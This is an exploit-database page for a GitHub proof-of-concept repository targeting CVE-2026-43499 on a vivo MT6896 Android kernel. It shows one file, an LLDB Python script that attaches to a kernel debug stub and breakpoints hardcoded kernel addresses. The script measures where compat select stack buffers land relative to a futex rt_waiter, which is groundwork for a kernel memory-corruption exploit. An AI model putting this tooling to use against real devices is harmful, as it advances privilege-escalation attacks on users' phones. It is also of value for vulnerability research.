Exploit database

GH-282e253a53c16ebe50dc62429538a0d3

syerain/cve-2026-43499-vivo-mt6896

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files51
syerain/cve-2026-43499-vivo-mt6896Revision 2970a36d0ff8
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exec/gdb_510246_compat_scan.py

Python · 5,213 bytes
import lldb, os, time

# 5.10.246 vivo MT6896 (nokaslr) — compat 几何扫描
WRPI  = 0xffffffc0082d3d64   # futex_wait_requeue_pi 入口(32/64 位共用,rt_waiter=sp-0x190)
CSEL  = 0xffffffc008606368   # compat_core_sys_select 入口(stack_fds=sp-0x170)
CSYS  = 0xffffffc0086060f4   # __arm64_compat_sys_select 入口
CP64  = 0xffffffc008606694   # __arm64_compat_sys_pselect6_time64 入口
CP32  = 0xffffffc008606c80   # __arm64_compat_sys_pselect6_time32 入口
NSEL  = 0xffffffc00860357c   # __arm64_sys_select(对照,非 compat)
DSP   = 0xffffffc008605510   # do_sys_poll 入口
NPOLL = 0xffffffc008605eb0   # __arm64_sys_poll
COPY  = 0xffffffc00801ecc0   # __arch_copy_from_user (x0=dest, x2=len)
M2K   = 0xffffffc00938f1a8
CFU   = 0xffffffc0080a425c
LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                   "..", "logs", "gdb_510246_compat_scan.log")

state = {"wrpi": 0, "copies": 0, "tid": None, "rt_waiter": None,
         "sp_futex": None, "sp_sel": None, "max_copies": 2000,
         "start": time.time(), "cur": "?"}


def log(msg):
    with open(LOG, "a", encoding="utf-8") as f:
        f.write(msg + "\n")


def rx(frame, name):
    for i in range(frame.GetRegisters().GetSize()):
        rset = frame.GetRegisters().GetValueAtIndex(i)
        v = rset.GetChildMemberWithName(name)
        if v and v.IsValid():
            s = v.GetValueAsUnsigned()
            return int(s, 16) if isinstance(s, str) else int(s)
    return None


def hit_wrpi(frame, bp_loc, dict_):
    state["wrpi"] += 1
    state["tid"] = frame.GetThread().GetIndexID()
    sp = rx(frame, "sp")
    state["sp_futex"] = sp
    rw = (sp - 0x190) if sp else None
    state["rt_waiter"] = rw
    log("=== WRPI #%d tid=%d sp=%#x rt_waiter=%#x ===" % (
        state["wrpi"], state["tid"], sp, rw))
    return False


def hit_csel(frame, bp_loc, dict_):
    tid = frame.GetThread().GetIndexID()
    sp = rx(frame, "sp")
    state["sp_sel"] = sp
    sf = (sp - 0x170) if sp else None
    rw = state["rt_waiter"]
    delta = (sf - rw) if (sf and rw is not None) else None
    log("=== COMPAT_SELECT tid=%d sp=%#x stack_fds=%#x delta_vs_rt=%s ===" % (
        tid, sp, sf, ("%#x" % delta) if delta is not None else "n/a"))
    return False


def hit_ent(frame, bp_loc, dict_):
    tgt = frame.GetThread().GetProcess().GetTarget()
    addr = bp_loc.GetAddress().GetLoadAddress(tgt)
    names = {CSYS: "compat_select", CP64: "compat_pselect6_time64",
             CP32: "compat_pselect6_time32", NSEL: "native_select"}
    log("=== ENTRY %s tid=%d ===" % (names.get(addr, hex(addr)),
                                      frame.GetThread().GetIndexID()))
    return False


def hit_dsp(frame, bp_loc, dict_):
    tgt = frame.GetThread().GetProcess().GetTarget()
    addr = bp_loc.GetAddress().GetLoadAddress(tgt)
    names = {DSP: "do_sys_poll", NPOLL: "native_poll"}
    sp = rx(frame, "sp")
    log("=== ENTRY %s tid=%d sp=%#x ===" % (
        names.get(addr, hex(addr)), frame.GetThread().GetIndexID(), sp))
    return False


def hit_copy(frame, bp_loc, dict_):
    return _hit(frame, "copy")


def hit_m2k(frame, bp_loc, dict_):
    return _hit(frame, "m2k")


def hit_cfu(frame, bp_loc, dict_):
    return _hit(frame, "cfu")


def _hit(frame, kind):
    try:
        tid = frame.GetThread().GetIndexID()
        rw = state["rt_waiter"]
        if tid != state["tid"] or rw is None:
            return state["copies"] >= state["max_copies"]
        state["copies"] += 1
        if kind == "m2k":
            x0 = rx(frame, "x2")
            x2 = rx(frame, "x1")
            x1 = rx(frame, "x0")
        else:
            x0 = rx(frame, "x0")
            x1 = rx(frame, "x1")
            x2 = rx(frame, "x2")
        if x0 is None:
            return state["copies"] >= state["max_copies"]
        delta = x0 - rw
        x30 = rx(frame, "x30") or 0
        tag = ""
        if -0x180 <= delta <= 0x80:
            tag = "  <== NEAR"
        if 0 <= delta <= 0x50:
            tag = "  *** INSIDE ***"
        log("=== %s #%d sys=%s tid=%d dest=%#x len=%#x(%d) src=%#x delta=%#x ret=%#x%s ===" % (
            kind.upper(), state["copies"], state["cur"], tid, x0, x2, x2, x1, delta, x30, tag))
        return state["copies"] >= state["max_copies"]
    except Exception as e:
        log("EXC: %r" % e)
        return False


def run_scan(debugger):
    dbg = debugger
    tgt = dbg.GetSelectedTarget()
    if not tgt.IsValid():
        tgt = dbg.CreateTarget("")
    dbg.HandleCommand("gdb-remote localhost:1234")
    proc = tgt.GetProcess()
    if not proc.IsValid():
        log("connect failed")
        return
    for addr, cb in [
        (WRPI, hit_wrpi), (CSEL, hit_csel),
        (CSYS, hit_ent), (CP64, hit_ent), (CP32, hit_ent), (NSEL, hit_ent),
        (DSP, hit_dsp), (NPOLL, hit_dsp),
        (COPY, hit_copy), (M2K, hit_m2k), (CFU, hit_cfu)]:
        bp = tgt.BreakpointCreateByAddress(addr)
        bp.SetScriptCallbackFunction("gdb_510246_compat_scan.%s" % cb.__name__)
    log("510246 compat scan breakpoints set; continuing")
    proc.Continue()


def __lldb_init_module(debugger, internal_dict):
    log("gdb_510246_compat_scan loaded; auto-run")
    run_scan(debugger)